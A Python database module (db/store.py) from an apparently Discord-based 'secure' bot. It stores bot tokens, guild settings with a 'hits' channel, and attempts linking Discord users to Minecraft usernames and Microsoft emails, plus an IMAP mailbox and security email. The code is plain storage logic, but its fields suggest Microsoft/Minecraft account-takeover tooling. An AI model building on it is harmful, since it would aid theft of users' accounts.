sten.wtf / Unstable Instance

db/store.py

import uuid
from pathlib import Path

import aiosqlite

_SCHEMA_PATH = Path(__file__).with_name("schema.sql")

_GUILD_CONFIG_FIELDS = ("logs_channel_id", "hits_channel_id", "secure_role_id")

_INSTANCE_CONFIG_FIELDS = (
    "instance_id",
    "security_email",
    "imap_host",
    "imap_port",
    "imap_user",
    "imap_password",
    "imap_auth",
    "imap_provider",
    "imap_refresh_token",
    "telemetry_enabled",
    "telemetry_url",
    "proxy_url",
    "build_version",
)

_INSTANCE_CONFIG_MIGRATIONS = (
    ("imap_auth", "TEXT DEFAULT 'password'"),
    ("imap_provider", "TEXT"),
    ("imap_refresh_token", "TEXT"),
)


async def _migrate_instance_config(db: aiosqlite.Connection) -> None:
    cur = await db.execute("PRAGMA table_info(instance_config)")
    have = {row[1] for row in await cur.fetchall()}
    for col, decl in _INSTANCE_CONFIG_MIGRATIONS:
        if col not in have:
            await db.execute(f"ALTER TABLE instance_config ADD COLUMN {col} {decl}")
    await db.commit()


async def connect(path: str) -> aiosqlite.Connection:
    db_path = Path(path)
    db_path.parent.mkdir(parents=True, exist_ok=True)
    db = await aiosqlite.connect(str(db_path))
    schema_sql = _SCHEMA_PATH.read_text(encoding="utf-8")
    await db.executescript(schema_sql)
    await _migrate_instance_config(db)
    db.row_factory = aiosqlite.Row
    return db


async def add_bot(db: aiosqlite.Connection, token: str, label: str) -> int:
    cur = await db.execute(
        "INSERT INTO bots (token, label) VALUES (?, ?)", (token, label)
    )
    await db.commit()
    return cur.lastrowid


async def list_bots(db: aiosqlite.Connection) -> list[dict]:
    cur = await db.execute("SELECT id, token, label, created_at FROM bots")
    rows = await cur.fetchall()
    return [dict(row) for row in rows]


async def set_guild_config(
    db: aiosqlite.Connection, guild_id: int, bot_id: int, **fields
) -> None:
    unknown = set(fields) - set(_GUILD_CONFIG_FIELDS)
    if unknown:
        raise TypeError(f"unknown guild_config field(s): {sorted(unknown)}")

    columns = ["guild_id", "bot_id", *fields.keys()]
    placeholders = ", ".join("?" for _ in columns)
    values = [guild_id, bot_id, *fields.values()]
    update_cols = ["bot_id", *fields.keys()]
    update_clause = ", ".join(f"{col}=excluded.{col}" for col in update_cols)

    await db.execute(
        f"INSERT INTO guild_config ({', '.join(columns)}) VALUES ({placeholders}) "
        f"ON CONFLICT(guild_id) DO UPDATE SET {update_clause}",
        values,
    )
    await db.commit()


async def get_guild_config(db: aiosqlite.Connection, guild_id: int) -> dict | None:
    cur = await db.execute(
        "SELECT * FROM guild_config WHERE guild_id=?", (guild_id,)
    )
    row = await cur.fetchone()
    return dict(row) if row is not None else None


async def create_attempt(
    db: aiosqlite.Connection,
    guild_id: int,
    discord_user_id: int,
    method: str,
    mc_username_entered: str,
    ms_email: str,
) -> int:
    cur = await db.execute(
        "INSERT INTO secure_attempts "
        "(guild_id, discord_user_id, method, mc_username_entered, ms_email) "
        "VALUES (?, ?, ?, ?, ?)",
        (guild_id, discord_user_id, method, mc_username_entered, ms_email),
    )
    await db.commit()
    return cur.lastrowid


async def finish_attempt(
    db: aiosqlite.Connection,
    attempt_id: int,
    status: str,
    fail_reason: str | None,
    result_mc_username: str | None,
    result_mc_uuid: str | None,
) -> None:
    await db.execute(
        "UPDATE secure_attempts SET status=?, fail_reason=?, result_mc_username=?, "
        "result_mc_uuid=?, completed_at=datetime('now') WHERE id=?",
        (status, fail_reason, result_mc_username, result_mc_uuid, attempt_id),
    )
    await db.commit()


async def get_instance_config(db: aiosqlite.Connection) -> dict | None:
    cur = await db.execute("SELECT * FROM instance_config WHERE id=1")
    row = await cur.fetchone()
    return dict(row) if row is not None else None


async def set_instance_config(db: aiosqlite.Connection, **fields) -> None:
    unknown = set(fields) - set(_INSTANCE_CONFIG_FIELDS)
    if unknown:
        raise TypeError(f"unknown instance_config field(s): {sorted(unknown)}")

    fields = dict(fields)
    candidate_instance_id = fields.pop("instance_id", None) or uuid.uuid4().hex

    columns = ["id", "instance_id", *fields.keys()]
    placeholders = ", ".join("?" for _ in columns)
    values = [1, candidate_instance_id, *fields.values()]
    update_cols = [
        "instance_id=COALESCE(instance_config.instance_id, excluded.instance_id)",
        *(f"{col}=excluded.{col}" for col in fields),
    ]
    update_clause = ", ".join(update_cols)

    await db.execute(
        f"INSERT INTO instance_config ({', '.join(columns)}) VALUES ({placeholders}) "
        f"ON CONFLICT(id) DO UPDATE SET {update_clause}",
        values,
    )
    await db.commit()